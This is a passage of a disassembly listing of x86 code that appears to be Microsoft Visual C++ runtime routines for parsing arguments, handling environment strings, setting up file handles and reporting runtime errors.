		jz	short loc_423063
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_423063:				; CODE XREF: sub_422F24+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_42305B


loc_423068:				; CODE XREF: sub_422F24+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4230B8
		cmp	[ebp+arg_10], 0
		jnz	short loc_42307E
		cmp	dl, 20h
		jz	short loc_4230B8
		cmp	dl, 9
		jz	short loc_4230B8


loc_42307E:				; CODE XREF: sub_422F24+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4230B2
		test	esi, esi
		jz	short loc_4230A1
		movzx	ebx, dl
		test	byte_4DAC81[ebx], 4
		jz	short loc_42309A
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_42309A:				; CODE XREF: sub_422F24+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4230B0
; ---------------------------------------------------------------------------


loc_4230A1:				; CODE XREF: sub_422F24+162j
		movzx	edx, dl
		test	byte_4DAC81[edx], 4
		jz	short loc_4230B0
		inc	eax
		inc	dword ptr [ecx]


loc_4230B0:				; CODE XREF: sub_422F24+17Bj
					; sub_422F24+187j
		inc	dword ptr [ecx]


loc_4230B2:				; CODE XREF: sub_422F24+15Ej
		inc	eax
		jmp	loc_423010
; ---------------------------------------------------------------------------


loc_4230B8:				; CODE XREF: sub_422F24+148j
					; sub_422F24+153j ...
		test	esi, esi
		jz	short loc_4230C0
		and	byte ptr [esi],	0
		inc	esi


loc_4230C0:				; CODE XREF: sub_422F24+196j
		inc	dword ptr [ecx]
		jmp	loc_422FDE
; ---------------------------------------------------------------------------


loc_4230C7:				; CODE XREF: sub_422F24+BDj
					; sub_422F24+D5j
		test	edi, edi
		jz	short loc_4230CE
		and	dword ptr [edi], 0


loc_4230CE:				; CODE XREF: sub_422F24+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_422F24	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4D98F4
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_423126
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_423107
		mov	dword_4D98F4, 1
		jmp	short loc_42312F
; ---------------------------------------------------------------------------


loc_423107:				; CODE XREF: ___:004230F9j
		nop
		call	near ptr 2620A7Eh
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_423201
		mov	dword_4D98F4, 2
		jmp	loc_4231B5
; ---------------------------------------------------------------------------


loc_423126:				; CODE XREF: ___:004230F1j
		cmp	eax, 1
		jnz	loc_4231B0


loc_42312F:				; CODE XREF: ___:00423105j
		cmp	esi, ebx
		jnz	short loc_42313F
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_423201


loc_42313F:				; CODE XREF: ___:00423131j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_423154


loc_423146:				; CODE XREF: ___:0042314Bj
					; ___:00423152j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423146
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_423146


loc_423154:				; CODE XREF: ___:00423144j
		sub	eax, esi
		mov	edi, dword_427194
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_4231A5
		push	ebp
		call	sub_41BC9B
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_4231A5
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_4231A1
		push	dword ptr [esp+10h]
		call	sub_41BA31
		pop	ecx
		mov	[esp+10h], ebx


loc_4231A1:				; CODE XREF: ___:00423191j
		mov	ebx, [esp+10h]


loc_4231A5:				; CODE XREF: ___:00423171j
					; ___:00423180j
		push	esi
		call	near ptr 2620C55h
		nop
		mov	eax, ebx
		jmp	short loc_423203
; ---------------------------------------------------------------------------


loc_4231B0:				; CODE XREF: ___:00423129j
		cmp	eax, 2
		jnz	short loc_423201


loc_4231B5:				; CODE XREF: ___:00423121j
		cmp	edi, ebx
		jnz	short loc_4231C5
		call	near ptr 2620A7Eh
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_423201


loc_4231C5:				; CODE XREF: ___:004231B7j
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4231D5


loc_4231CB:				; CODE XREF: ___:004231CEj
					; ___:004231D3j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4231CB
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4231CB


loc_4231D5:				; CODE XREF: ___:004231C9j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41BC9B
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4231EB
		xor	esi, esi
		jmp	short loc_4231F6
; ---------------------------------------------------------------------------


loc_4231EB:				; CODE XREF: ___:004231E5j
		push	ebp
		push	edi
		push	esi
		call	sub_41CAB0
		add	esp, 0Ch


loc_4231F6:				; CODE XREF: ___:004231E9j
		push	edi
		call	near ptr 2620C88h
		nop
		mov	eax, esi
		jmp	short loc_423203
; ---------------------------------------------------------------------------


loc_423201:				; CODE XREF: ___:00423111j
					; ___:00423139j ...
		xor	eax, eax


loc_423203:				; CODE XREF: ___:004231AEj
					; ___:004231FFj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41BC9B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_42322A
		push	1Bh
		call	sub_41E1C9
		pop	ecx


loc_42322A:				; CODE XREF: ___:00423220j
		mov	dword_4DAA60, esi
		mov	dword_4DAB60, 20h
		lea	eax, [esi+100h]


loc_423240:				; CODE XREF: ___:0042325Cj
		cmp	esi, eax
		jnb	short loc_42325E
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DAA60
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423240
; ---------------------------------------------------------------------------


loc_42325E:				; CODE XREF: ___:00423242j
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 28A0000h
		nop
		cmp	word ptr [esp+42h], 0
		jz	loc_42333A
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_42333A
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_423294
		mov	esi, eax


loc_423294:				; CODE XREF: ___:00423290j
		cmp	dword_4DAB60, esi
		jge	short loc_4232EE
		mov	edi, offset dword_4DAA64


loc_4232A1:				; CODE XREF: ___:004232E4j
		push	100h
		call	sub_41BC9B
		test	eax, eax
		pop	ecx
		jz	short loc_4232E8
		add	dword_4DAB60, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_4232BF:				; CODE XREF: ___:004232D9j
		cmp	eax, ecx
		jnb	short loc_4232DB
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4232BF
; ---------------------------------------------------------------------------


loc_4232DB:				; CODE XREF: ___:004232C1j
		add	edi, 4
		cmp	dword_4DAB60, esi
		jl	short loc_4232A1
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------


loc_4232E8:				; CODE XREF: ___:004232AEj
		mov	esi, dword_4DAB60


loc_4232EE:				; CODE XREF: ___:0042329Aj
					; ___:004232E6j
		xor	edi, edi
		test	esi, esi
		jle	short loc_42333A


loc_4232F4:				; CODE XREF: ___:00423338j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423331
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423331
		test	cl, 8
		jnz	short loc_423313
		push	eax
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_423331


loc_423313:				; CODE XREF: ___:00423306j
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DAA60[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423331:				; CODE XREF: ___:004232F9j
					; ___:00423301j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4232F4


loc_42333A:				; CODE XREF: ___:0042326Fj
					; ___:0042327Bj ...
		xor	ebx, ebx


loc_42333C:				; CODE XREF: ___:0042339Fj
		mov	eax, dword_4DAA60
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_423397
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_423357
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423361
; ---------------------------------------------------------------------------


loc_423357:				; CODE XREF: ___:00423350j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423361:				; CODE XREF: ___:00423355j
		push	eax
		nop
		call	near ptr 26207DDh
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_423386
		push	edi
		call	near ptr 2620000h
		nop
		test	eax, eax
		jz	short loc_423386
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_42338C


loc_423386:				; CODE XREF: ___:0042336Dj
					; ___:00423378j
		or	byte ptr [esi+4], 40h
		jmp	short loc_42339B
; ---------------------------------------------------------------------------


loc_42338C:				; CODE XREF: ___:00423384j
		cmp	eax, 3
		jnz	short loc_42339B
		or	byte ptr [esi+4], 8
		jmp	short loc_42339B
; ---------------------------------------------------------------------------


loc_423397:				; CODE XREF: ___:00423348j
		or	byte ptr [esi+4], 80h


loc_42339B:				; CODE XREF: ___:0042338Aj
					; ___:0042338Fj ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_42333C
		push	dword_4DAB60
		nop
		call	near ptr 26209AEh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4233C0	proc near		; DATA XREF: sub_421F92+Ao
					; sub_4220C1+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423460
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4233F3:				; CODE XREF: sub_4233C0+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423459
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_423447
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_423447
		js	short loc_423452
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41D2E0
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41D322
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41D3B6
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_423447:				; CODE XREF: sub_4233C0+40j
					; sub_4233C0+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4233F3
; ---------------------------------------------------------------------------


loc_423452:				; CODE XREF: sub_4233C0+54j
		mov	eax, 0
		jmp	short loc_423475
; ---------------------------------------------------------------------------


loc_423459:				; CODE XREF: sub_4233C0+36j
		mov	eax, 1
		jmp	short loc_423475
; ---------------------------------------------------------------------------


loc_423460:				; CODE XREF: sub_4233C0+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41D322
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_423475:				; CODE XREF: sub_4233C0+97j
					; sub_4233C0+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4233C0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41D322
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423498	proc near		; CODE XREF: sub_41E1C9+9p
		mov	eax, dword_4D9790
		cmp	eax, 1
		jz	short loc_4234AF
		test	eax, eax
		jnz	short locret_4234D0
		cmp	dword_43A674, 1
		jnz	short locret_4234D0


loc_4234AF:				; CODE XREF: sub_423498+8j
		push	0FCh
		call	sub_4234D1
		mov	eax, dword_4D98F8
		pop	ecx
		test	eax, eax
		jz	short loc_4234C5
		call	eax


loc_4234C5:				; CODE XREF: sub_423498+29j
		push	0FFh
		call	sub_4234D1
		pop	ecx

locret_4234D0:				; CODE XREF: sub_423498+Cj
					; sub_423498+15j
		retn
sub_423498	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234D1	proc near		; CODE XREF: sub_41E1C9+12p
					; sub_423498+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43ACE8


loc_4234E4:				; CODE XREF: sub_4234D1+20j
		cmp	edx, [eax]
		jz	short loc_4234F3
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43AD78
		jl	short loc_4234E4


loc_4234F3:				; CODE XREF: sub_4234D1+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43ACE8[esi]
		jnz	loc_423621
		mov	eax, dword_4D9790
		cmp	eax, 1
		jz	loc_4235FB
		test	eax, eax
		jnz	short loc_423524
		cmp	dword_43A674, 1
		jz	loc_4235FB


loc_423524:				; CODE XREF: sub_4234D1+44j
		cmp	edx, 0FCh
		jz	loc_423621
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2670000h
		test	eax, eax
		jnz	short loc_42355B
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41C620
		pop	ecx
		pop	ecx


loc_42355B:				; CODE XREF: sub_4234D1+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41B960
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_42359E
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41B960
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41BD70
		add	esp, 10h


loc_42359E:				; CODE XREF: sub_4234D1+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41C620
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41C630
		lea	eax, [ebp+var_A0]
		push	offset asc_427BD8 ; "\n\n"
		push	eax
		call	sub_41C630
		push	off_43ACEC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C630
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424C88
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423621
; ---------------------------------------------------------------------------


loc_4235FB:				; CODE XREF: sub_4234D1+3Cj
					; sub_4234D1+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43ACEC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41B960
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 26207DDh
		nop
		push	eax
		call	near ptr 2720000h
		nop


loc_423621:				; CODE XREF: sub_4234D1+2Ej
					; sub_4234D1+59j ...
		pop	esi
		leave
		retn
sub_4234D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423624	proc near		; CODE XREF: sub_42393B:loc_423AB3p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DAA60


loc_423633:				; CODE XREF: sub_423624+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423670
		lea	edx, [eax+100h]


loc_42363F:				; CODE XREF: sub_423624+28j
		cmp	eax, edx
		jnb	short loc_42365F
		test	byte ptr [eax+4], 1
		jz	short loc_42364E
		add	eax, 8
		jmp	short loc_42363F
; ---------------------------------------------------------------------------


loc_42364E:				; CODE XREF: sub_423624+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4236B3


loc_42365F:				; CODE XREF: sub_423624+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DAB60
		jl	short loc_423633
		jmp	short loc_4236B3
; ---------------------------------------------------------------------------


loc_423670:				; CODE XREF: sub_423624+13j
		mov	esi, 100h
		push	esi
		call	sub_41BC9B
		test	eax, eax
		pop	ecx
		jz	short loc_4236B3
		add	dword_4DAB60, 20h
		lea	ecx, ds:4DAA60h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_423696:				; CODE XREF: sub_423624+88j
		cmp	eax, edx
		jnb	short loc_4236AE
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_423696
; ---------------------------------------------------------------------------


loc_4236AE:				; CODE XREF: sub_423624+74j
		shl	edi, 5
		mov	ebx, edi


loc_4236B3:				; CODE XREF: sub_423624+39j
					; sub_423624+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_423624	endp


; =============== S U B	R O U T	I N E =======================================



sub_4236B9	proc near		; CODE XREF: sub_42393B+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DAB60
		push	edi
		jnb	short loc_423719
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DAA60h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423719
		cmp	dword_43A674, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_42370F
		sub	eax, 0
		jz	short loc_423706
		dec	eax
		jz	short loc_423701
		dec	eax
		jnz	short loc_42370F
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423709
; ---------------------------------------------------------------------------


loc_423701:				; CODE XREF: sub_4236B9+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423709
; ---------------------------------------------------------------------------


loc_423706:				; CODE XREF: sub_4236B9+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423709:				; CODE XREF: sub_4236B9+46j
					; sub_4236B9+4Bj
		call	near ptr 2610C72h
		nop


loc_42370F:				; CODE XREF: sub_4236B9+36j
					; sub_4236B9+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_42372D
; ---------------------------------------------------------------------------


loc_423719:				; CODE XREF: sub_4236B9+Cj
					; sub_4236B9+28j
		and	dword_4D9718, 0
		mov	dword_4D9714, 9
		or	eax, 0FFFFFFFFh


loc_42372D:				; CODE XREF: sub_4236B9+5Ej
		pop	edi
		pop	esi
		retn
sub_4236B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_423730	proc near		; CODE XREF: sub_41E212+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DAB60
		push	edi
		jnb	short loc_423793
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DAA60h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_423793
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_423793
		cmp	dword_43A674, 1
		jnz	short loc_423789
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423780
		dec	ecx
		jz	short loc_42377B
		dec	ecx
		jnz	short loc_423789
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_423783
; ---------------------------------------------------------------------------


loc_42377B:				; CODE XREF: sub_423730+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_423783
; ---------------------------------------------------------------------------


loc_423780:				; CODE XREF: sub_423730+3Ej
		push	eax
		push	0FFFFFFF6h


loc_423783:				; CODE XREF: sub_423730+49j
					; sub_423730+4Ej
		call	near ptr 2610C72h
		nop


loc_423789:				; CODE XREF: sub_423730+38j
					; sub_423730+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4237A7
; ---------------------------------------------------------------------------


loc_423793:				; CODE XREF: sub_423730+Cj
					; sub_423730+2Aj ...
		and	dword_4D9718, 0
		mov	dword_4D9714, 9
		or	eax, 0FFFFFFFFh


loc_4237A7:				; CODE XREF: sub_423730+61j
		pop	edi
		pop	esi
		retn
sub_423730	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237AA	proc near		; CODE XREF: sub_41E212+32p
					; sub_41E212+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DAB60
		jnb	short loc_4237D2
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DAA60[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4237D2
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4237D2:				; CODE XREF: sub_4237AA+Aj
					; sub_4237AA+23j
		and	dword_4D9718, 0
		mov	dword_4D9714, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4237AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237E7	proc near		; CODE XREF: sub_41E2F0+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DAB60
		jnb	short loc_423830
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DAA60[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423830
		push	eax
		call	sub_4237AA
		pop	ecx
		push	eax
		call	near ptr 26107CAh
		nop
		test	eax, eax
		jnz	short loc_423825
		call	near ptr 2680DCDh
		nop
		jmp	short loc_423827
; ---------------------------------------------------------------------------


loc_423825:				; CODE XREF: sub_4237E7+34j
		xor	eax, eax


loc_423827:				; CODE XREF: sub_4237E7+3Cj
		test	eax, eax
		jz	short locret_42383D
		mov	dword_4D9718, eax


loc_423830:				; CODE XREF: sub_4237E7+Aj
					; sub_4237E7+22j
		mov	dword_4D9714, 9
		or	eax, 0FFFFFFFFh

locret_42383D:				; CODE XREF: sub_4237E7+42j
		retn
sub_4237E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42383E	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DAA40
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_423852
		mov	eax, 200h
		jmp	short loc_423858
; ---------------------------------------------------------------------------


loc_423852:				; CODE XREF: sub_42383E+Bj
		cmp	eax, esi
		jge	short loc_42385D
		mov	eax, esi


loc_423858:				; CODE XREF: sub_42383E+12j
		mov	dword_4DAA40, eax


loc_42385D:				; CODE XREF: sub_42383E+16j
		push	4
		push	eax
		call	sub_424D11
		pop	ecx
		mov	dword_4D9A30, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423891
		push	4
		push	esi
		mov	dword_4DAA40, esi
		call	sub_424D11
		pop	ecx
		mov	dword_4D9A30, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423891
		push	1Ah
		call	sub_41E1C9
		pop	ecx


loc_423891:				; CODE XREF: sub_42383E+30j
					; sub_42383E+49j
		xor	ecx, ecx
		mov	eax, offset off_43AD78


loc_423898:				; CODE XREF: sub_42383E+6Ej
		mov	edx, dword_4D9A30
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43AFF8
		jl	short loc_423898
		xor	edx, edx
		mov	ecx, offset dword_43AD88


loc_4238B5:				; CODE XREF: sub_42383E+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DAA60[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4238D2
		test	eax, eax
		jnz	short loc_4238D5


loc_4238D2:				; CODE XREF: sub_42383E+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4238D5:				; CODE XREF: sub_42383E+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43ADE8
		jl	short loc_4238B5
		pop	esi
		retn
sub_42383E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238E3	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424D8E SIZE 00000058 BYTES

		call	sub_41E387
		cmp	byte_4D9754, 0
		jz	short locret_4238F6
		jmp	loc_424D8E
; ---------------------------------------------------------------------------

locret_4238F6:				; CODE XREF: sub_4238E3+Cj
		retn
sub_4238E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238F7	proc near		; CODE XREF: sub_41EF78+32p
					; sub_41F4BF+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4D98FC
		push	1000h
		call	sub_41BC9B
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423920
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423931
; ---------------------------------------------------------------------------


loc_423920:				; CODE XREF: sub_4238F7+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_423931:				; CODE XREF: sub_4238F7+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4238F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42393B	proc near		; CODE XREF: sub_41F262+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423961
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_42396C
; ---------------------------------------------------------------------------


loc_423961:				; CODE XREF: sub_42393B+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_42396C:				; CODE XREF: sub_42393B+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423986
		test	ch, 40h
		jnz	short loc_423982
		cmp	dword_4D9A08, eax
		jz	short loc_423986


loc_423982:				; CODE XREF: sub_42393B+3Dj
		or	[ebp+var_1], 80h


loc_423986:				; CODE XREF: sub_42393B+38j
					; sub_42393B+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_4239BE
		dec	eax
		jz	short loc_4239B5
		dec	eax
		jz	short loc_4239AC


loc_423997:				; CODE XREF: sub_42393B+9Fj
					; sub_42393B+E8j ...
		mov	dword_4D9714, 16h
